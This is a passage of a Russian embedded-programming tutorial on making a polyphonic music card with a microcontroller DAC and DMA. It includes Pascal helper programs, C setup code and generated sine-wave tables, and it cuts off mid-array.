+ Можем прослушать нашу композицию. Если что-то не нравится — можем подредактировать ноты (полезно, когда мелодия разделена на 2 партии не ровно). Помним, что наша композиция должна содержать ноты с длительностью более чем шестнадцатые (исключая шестнадцатую с точкой. Для ее создания нужно к длительности шестнадцатой прибавить тридцать вторую, а для этого нужно менять настройки таймера). А также ноты должна быть в пределах трех описанных октав.

+ Для того чтобы отредактировать ноту, нужно нажать на нее левой кнопкой мыши (она выделится прямоугольником) и, зажав Ctrl, нажимать стрелку вверх или вниз на клавиатуре.

У меня после редактирования (правок и обрезки мелодии) получился файл с названием LiliumPR (добавлен в файлы проекта на github).
+ После этого сохраняем наш файл в текстовом формате (файл INPUT.txt на github)
* Как я уже говорил, программа генерирует данные в своем формате. Для того чтобы облегчить жизнь и не переводить все под наш пример вручную (каждую ноту), я написал программу, которая преобразует полученные данные в нужный нам массив: нота/длительность.
**Вот ее код**Program Pr;
var input: file of char; //Отсюда читаем.
DataST: string; //Буффер для разбора ноты.
BufChar: char; //Буффер для посимвольного чтения.
Loop: integer; //Количество нот.
BufNOT: byte; //Значение для одной ноты/времени ноты.
MESNOT: array [0..5000, 0..1] of byte; //Массив до 5000 нот.
I: integer; //Счетчик-оформитель.
Begin
assign(input, 'INPUT.txt'); reset(input); //Подключаем файл для чтения.
Loop:=0;
while not Eof(input) do //Читаем до окончания файла.
Begin
DataST:='';
while 1=1 do //Читаем до пробела.
Begin
read(input, BufChar); //Читаем символ.
if (BufChar <> ' ') then DataST:=DataST+BufChar //Если не пустой символ — дописать.
else break; //Иначе — выйти.
End;
case DataST[1] of //Разбираем ноту.
'C': if (DataST[2] = 'i') then Begin //Если нота До, то смотрим на #.
if (DataST[4] = '1') then BufNOT:=1 //До# — малой октавы.
else if (DataST[4] = '2') then BufNOT:=13 //До# — первой октавы.
else if (DataST[4] = '3') then BufNOT:=25 //До# — второй октавы.
End else Begin
if (DataST[2] = '1') then BufNOT:=0 //До — малой октавы.
else if (DataST[2] = '2') then BufNOT:=12 //До — первой октавы.
else if (DataST[2] = '3') then BufNOT:=24 End; //До — второй октавы.
'D': if (DataST[2] = 'i') then Begin //Если нота Ре.
if (DataST[4] = '1') then BufNOT:=3
else if (DataST[4] = '2') then BufNOT:=15
else if (DataST[4] = '3') then BufNOT:=27
End else Begin
if (DataST[2] = '1') then BufNOT:=2
else if (DataST[2] = '2') then BufNOT:=14
else if (DataST[2] = '3') then BufNOT:=26 End;
'E': if (DataST[2] = '1') then BufNOT:=4 //Если нота Ми (Диеза «не имеет»).
else if (DataST[2] = '2') then BufNOT:=16
else if (DataST[2] = '2') then BufNOT:=28;
'F': if (DataST[2] = 'i') then Begin //Если нота Фа.
if (DataST[4] = '1') then BufNOT:=6
else if (DataST[4] = '2') then BufNOT:=18
else if (DataST[4] = '3') then BufNOT:=30 End
else Begin
if (DataST[2] = '1') then BufNOT:=5
else if (DataST[2] = '2') then BufNOT:=17
else if (DataST[2] = '3') then BufNOT:=29 End;
'G': if (DataST[2] = 'i') then Begin //Если нота Соль.
if (DataST[4] = '1') then BufNOT:=8
else if (DataST[4] = '2') then BufNOT:=20
else if (DataST[4] = '3') then BufNOT:=32 End
else Begin
if (DataST[2] = '1') then BufNOT:=7
else if (DataST[2] = '2') then BufNOT:=19
else if (DataST[2] = '3') then BufNOT:=31 End;
'A': if (DataST[2] = 'i') then Begin //Если нота Ля.
if (DataST[4] = '1') then BufNOT:=10
else if (DataST[4] = '2') then BufNOT:=22
else if (DataST[4] = '3') then BufNOT:=34 End
else Begin
if (DataST[2] = '1') then BufNOT:=9
else if (DataST[2] = '2') then BufNOT:=21
else if (DataST[2] = '3') then BufNOT:=33 End;
'B': if (DataST[2] = '1') then BufNOT:=11 //Си.
else if (DataST[2] = '2') then BufNOT:=23
else if (DataST[2] = '2') then BufNOT:=35;
'P': BufNOT:=36; //В случае «паузы».
End;
MESNOT[Loop][0]:=BufNOT; //Сохраняем номер ноты.
if (DataST[length(DataST)-1] <> '.') then //Вычисляем длительность ноты «без точки» (в шестнадцатых).
case DataST[length(DataST)-1] of
'1': BufNOT:=16;
'2': BufNOT:=8;
'4': BufNOT:=4;
'8': BufNOT:=2;
end
else
case DataST[length(DataST)-2] of //Длительность ноты с точкой (в шестнадцатых).
'1': BufNOT:=20;
'2': BufNOT:=12;
'4': BufNOT:=6;
'8': BufNOT:=3;
end;
MESNOT[Loop][1]:=BufNOT; //Сохраняем длительность.
Loop:=Loop+1;
End;
writeln ('//Массив нот.'); //Оформляем массив.
write('uint8\_t MusicNote [', Loop+1, '][2] = {');
for I:=0 to Loop-1 do Begin write(MESNOT[I][0], ',', MESNOT[I][1]);
if (I<>(Loop-1)) then write(', ');
End;
write('};');
End.
Программа на Pascal ABC. Исходный код находится в директории pas в репозитории с основном проектом. Входной INPUT.txt должен лежать в папке с программой.
**У меня получился такой массив.**
```
//Массив нот.
uint8_t MusicNote [30][2] = {18,2, 25,2, 20,6, 21,2, 21,4, 18,2, 25,2, 20,6, 21,2, 23,2, 21,2, 18,8, 36,2, 20,2, 16,2, 14,2, 16,8, 36,2, 18,2, 14,2, 13,2, 14,2, 16,2, 18,6, 20,2, 21,2, 23,2, 21,8, 20,4};
```
**Теперь у нас есть массив нот. Осталось только сыграть его.**
```
int main (void)
{
HSE_Clock_ON(); //Разрешаем использование HSE генератора.
HSE_Clock_OffPLL(); //Настраиваем "путь" сигнала и включаем тактирование от HSE генератора.
Buzzer_out_DAC_init(); //Настраиваем порт для ЦАП.
DAC_Init(); //Настраиваем ЦАП.
DMA_to_DAC_and_TIM1(); //Настраиваем DMA для работы с DAC2 через таймер 1.
Init_TIMER1_to_DMA_and_DAC2(); //Настраиваем таймер 1.
Init_SysTick();
while (1)
{
for (uint32_t PL = 0; PL < sizeof(Play_museic)/2; PL++)
{
SM_Ton(music_books[Play_museic[PL][0]]);
Delay(Play_museic[PL][1]);
}
}
}
```
Файлы проекта и получившийся аудио файл можно взять на [github](https://github.com/Vadimatorik/k1986be92qi_music_card).

#### Делаем многоголосую музыкальную открытку.
Мы сделали одноголосную музыкальную открытку. Но ведь хочется большего. Усложним задачу. Заставим контроллер проигрывать многоголосые мелодии. Сделаем на примере нашего произведения. В нем 2 канала. Их и будем играть.
Вопрос: как смешать две и более волны? Как мы помним, в [этой статье](http://habrahabr.ru/post/126835/) разбирались методы генерации звуковых волн. Там же был показан и принцип наложения. Что ж. Как накладывать знаем, но как это организовать? Я пошел следующим путем:
1. Создадим массив из 2048 элементов (можно взять больше или меньше, не принципиально важно). **У меня он выглядит так.**
```
uint16_t BufferData [1024*2]; //Этот буффер будем выдавать циклично.
```
2. Настроим таймеры из предыдущего урока так, чтобы DMA выдавал этот массив бесконечно с фиксированной частотой (так мы освободим себя от «игры» с таймерами). У меня таймер опирается на частоту 80 Мгц (На самом деле хватит гораздо меньшей скорости, но на всякий случай использую ее, вдруг задача окажется не по зубам. Переделать в конце на меньшую частоту труда не составит). Скорость выдачи пусть будет 32000 Гц.**Вот так выглядит функция настройки таймеров.**
```
//Выдаем циклично буфер размером в 2048 чисел. Частота 32000 Гц.
void Init_TIMER1_to_DMA_and_DAC2_for_BUFFER (void)
{
RST_CLK->PER_CLOCK |= PER_CLOCK_TIMER1_ONCLK|PER_CLOCK_TIMER2_ONCLK; //Включаем тактирование таймера 1 и 2.
RST_CLK->TIM_CLOCK = 0; //Отключаем тактирование таймеров.
//У нас 800000000 Гц/32000 Гц = 2500.
TIMER1->ARR = 2500; //Считаем до...
TIMER1->DMA_RE |= DMA_RE_CNT_ARR_EVENT_RE; //Разрешаем пинать DMA.
TIMER2->ARR = 2500*512/128; //После передачи половины массива.
TIMER2->IE = TIMERx_IE_CNT_ARR_EVENT_IE; //Прерывание по достижении границы.
TIMER2->PSG = 128-1; //Ставим делительность на 128.
TIMER2->STATUS=0; //Сбрасываем флаги прерываний.
NVIC->ISER[0] = 1<<15; //Разрешили прерывание от таймера 2.
TIMER1->CNTRL = CNTRL_CNT_EN; //Разрешаем работу таймеров.
TIMER2->CNTRL = CNTRL_CNT_EN;
RST_CLK->TIM_CLOCK = TIM_CLOCK_TIM1_CLK_EN|TIM_CLOCK_TIM2_CLK_EN; //Подаем тактовый сигнал на таймеры.
}
```
3. В функции настройки DMA оставляем прежним все, кроме имени массива. **Теперь мы используем созданный нами выше.**
```
struct DAC_ST
{
uint32_t Destination_end_pointer; //Указатель конца данных приемника.
uint32_t Source_end_pointer; //Указатель конца данных источника
uint32_t channel_cfg; //Конфигурация канала.
uint32_t NULL; //Пустая ячейка.
}
__align(1024) DAC_ST; //Выравниваем массив структур по 1024 байта.
struct DAC_ST DAC_ST_ADC[32+32]; //Создаем массив структур для всех каналов.
//Источник/приемник = 16 бит, отправляем/принимаем = 16 бит, защиты нет, 50 передач, пинг-понг.
uint32_t DMA_DAC_InitST_PR = dst_src|src_inc|src_size|dst_size|n_minus_1|cycle_ctrl;
uint32_t DMA_DAC_InitST_ALT = dst_src|src_inc|src_size|dst_size|n_minus_1|cycle_ctrl;
//-------------------------------------------------
//Настраиваем DMA для связки с DAC.
//-------------------------------------------------
void DMA_to_DAC_and_TIM1 (void)
{
//Настраиваем первичную структуру.
DAC_ST_ADC[10-1].Destination_end_pointer = (uint32_t)BufferData + (sizeof(BufferData))/2 - 1; //Указатель на последний элемент середины массива (C_4 - массив значений синусоидального сигнала в 100 значений).
DAC_ST_ADC[10-1].Source_end_pointer = (uint32_t)&(DAC->DAC2_DATA); //Указатель на последний (не меняется) адрес приемника (регистр данных DAC).
DAC_ST_ADC[10-1].channel_cfg = (uint32_t)(DMA_DAC_InitST_PR); //Структура настройки первичной структуры.
DAC_ST_ADC[10-1].NULL = (uint32_t)0; //Пустая ячейка.
//Настройка альтернативной структуры.
DAC_ST_ADC[10-1+32].Destination_end_pointer = (uint32_t)BufferData + sizeof(BufferData) - 1; //Указатель на последний элемент массива (C_4 - массив значений синусоидального сигнала в 100 значений).
DAC_ST_ADC[10-1+32].Source_end_pointer = (uint32_t)&(DAC->DAC2_DATA); //Указатель на последний (не меняется) адрес приемника (регистр данных DAC).
DAC_ST_ADC[10-1+32].channel_cfg = (uint32_t)(DMA_DAC_InitST_ALT); //Структура настройки альтернативной структуры.
DAC_ST_ADC[10-1+32].NULL = (uint32_t)0; //Пустая ячейка.
//Настраиваем контроллер DMA.
RST_CLK->PER_CLOCK|=PCLK_EN_DMA; //Включаем тактирование DMA.
DMA->CTRL_BASE_PTR = (uint32_t)&DAC_ST_ADC; //Указываем адрес массива структур.
DMA->CFG = CFG_master_enable; //Разрешаем работу DMA.
//Настраиваем канал.
DMA->CHNL_ENABLE_SET = 1<<10; //Разрешаем работу 10 канала.
}
```
4. Далее нужно в настройках структуры канала (и первичная и альтернативная имеют одинаковую настройку, как и в предыдущей статье) указать иное количество передач. В прошлой статье мы использовали массив размером в 100 значений. Сейчас же будем использовать все 1024 доступных (с расчетом на то, что реже придется обращаться к прерыванию).**Измененная структура.**
```
//-------------------------------------------------
//Настройка структуры.
//-------------------------------------------------
#define dst_src (3<<30) //Источник - 16 бит (полуслово).
#define src_inc (1<<26) //Источник смещается на 16 бит после каждой передачи.
#define src_size (1<<24) //Отправляем по 16 бит.
#define dst_size (1<<28) //Принимаем по 16 бит. Приемник и передатчик должны иметь одинаковые размерности.
#define n_minus_1 ((1024-1)<<4) //1024 передачи (-1) DMA.
#define cycle_ctrl (3<<0) //Пинг-понг.
```
5. Следующим шагом нужно определиться, как мы будем заполнять наш массив. Первоначальной идеей было генерировать значения волны в каждый период времени непосредственно в МК. Но как показала практика, даже 80 МГц недостаточно для данной задачи (чтобы одновременно выдавать и заполнять новыми значениями уже переданные ячейки). Возможно можно найти решение и генерировать внутри МК, но мне это не удалось. Я решил поступить так. Я написал программу, которая по заданной частоте смены значений DAC генерирует набор значений для каждой ноты в диапазоне трех октав. После в МК мы можем копировать эти значения в буфер и всячески изменять их. **Код программы. Написана на Pascal ABC.**
```
Program Sin_wav_Gener;
Var DAC_CLK: word; //Частота смены данных DAC.
Loop: word; //Количество элементов в волне.
PR: real; //Период волны.
I: word; //Счетчик.
ISIN: byte; //Счетчик номера волны.
GR: byte; //Громкость волны.
MesVoln: array [0..100000] of integer; //Массив значений для волны.
MesSM: array [0..35] of word; //Смещение.
MesKOL: array [0..35] of word; //Количество в блоке.
const SinTON: array [0..35] of real =
(130.82, 138.59, 147.83, 155.56, 164.81, 174.62, 185, 196, 207,
220, 233.08, 246.96, 261.63, 277.18, 293.33, 311.13, 329.63, 349.23,
369.99, 392, 415.30, 440, 466.16, 493.88, 523.25, 554.36, 587.32,
622.26, 659.26, 698.46, 739.98, 784, 830.60, 880, 932.32, 987.75);
Begin
Loop := 0; //Общее количество занимаемой памяти.
write('Частота смены DAC: '); readln(DAC_CLK); //Получаем частоту смены DAC.
write('Введите громкость (1..50): '); readln(GR);//Громкость волны.
for ISIN:=0 to 35 do //Генерируем массивы для всех 36 нот.
Begin
PR:=DAC_CLK/SinTON[ISIN]/2; //Получаем период волны.
MesSM[ISIN]:=Loop; //Смещение.
MesKOL[ISIN]:=Round(PR*2)+1; //Количество элементов в блоке.
for I:=0 to Round(PR*2) do //Считаем волну.
Begin
MesVoln[Loop]:=Round(GR+GR*sin(I*pi/PR));
Loop:=Loop+1;
End;
End;
writeln('//Количество элементов в синусоиде номер 0..35.');
write('const uint16_t MesKOL [36] = {');
for I:=0 to 35 do
Begin
write(MesKOL[I]);
if (I <> 35) then write (', ');
End;
writeln('};');
writeln('//Смещение первого элемента массива 0..35.');
write('const uint16_t MesSM [36] = {');
for I:=0 to 35 do
Begin
write(MesSM[I]);
if (I <> 35) then write (', ');
End;
writeln('};');
writeln('//Выдаем основной массив.');
write('const uint8_t SinMES [', Loop+1, '] = {');
for I:=0 to Loop-1 do
Begin
write(MesVoln[I]);
if (I <> Loop-1) then write (', ');
End;
writeln('};');
End.
```
**Пример работы программы.**
```
Частота смены DAC: 32000
Введите громкость (1..50): 10
//Количество элементов в синусоиде номер 0..35.
const uint16_t MesKOL [36] = {246, 232, 217, 207, 195, 184, 174, 164, 156, 146, 138, 131, 123, 116, 110, 104, 98, 93, 87, 83, 78, 74, 70, 66, 62, 59, 55, 52, 50, 47, 44, 42, 40, 37, 35, 33};
//Смещение первого элемента массива 0..35.
const uint16_t MesSM [36] = {0, 246, 478, 695, 902, 1097, 1281, 1455, 1619, 1775, 1921, 2059, 2190, 2313, 2429, 2539, 2643, 2741, 2834, 2921, 3004, 3082, 3156, 3226, 3292, 3354, 3413, 3468, 3520, 3570, 3617, 3661, 3703, 3743, 3780, 3815};
//Выдаем основной массив.
const uint8_t SinMES [3849] = {10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 10, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 13, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 12, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 8, 8, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 14, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 7, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 8, 8, 7, 7, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 11, 11, 11, 10, 10, 9, 9, 9, 8, 8, 8, 7, 7, 6, 6, 6, 5, 5, 5, 4, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 12, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 11, 11, 11, 10, 10, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 10, 11, 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 14, 14, 14, 13, 13, 12, 12, 12, 11, 11, 10, 10, 9, 9, 9, 8, 8, 7, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 8, 8, 9, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 14, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 8, 7, 7, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 7, 7, 8, 8, 8, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 15, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 7, 6, 6, 5, 5, 4, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 4, 4, 4, 5, 5, 6, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 14, 15, 15, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 15, 14, 14, 13, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 18, 18, 18, 17, 17, 16, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 18, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 18, 18, 18, 17, 17, 17, 16, 16, 15, 15, 14, 14, 13, 13, 12, 11, 11, 10, 10, 9, 9, 8, 7, 7, 6, 6, 5, 5, 4, 4, 3, 3, 3, 2, 2, 2, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 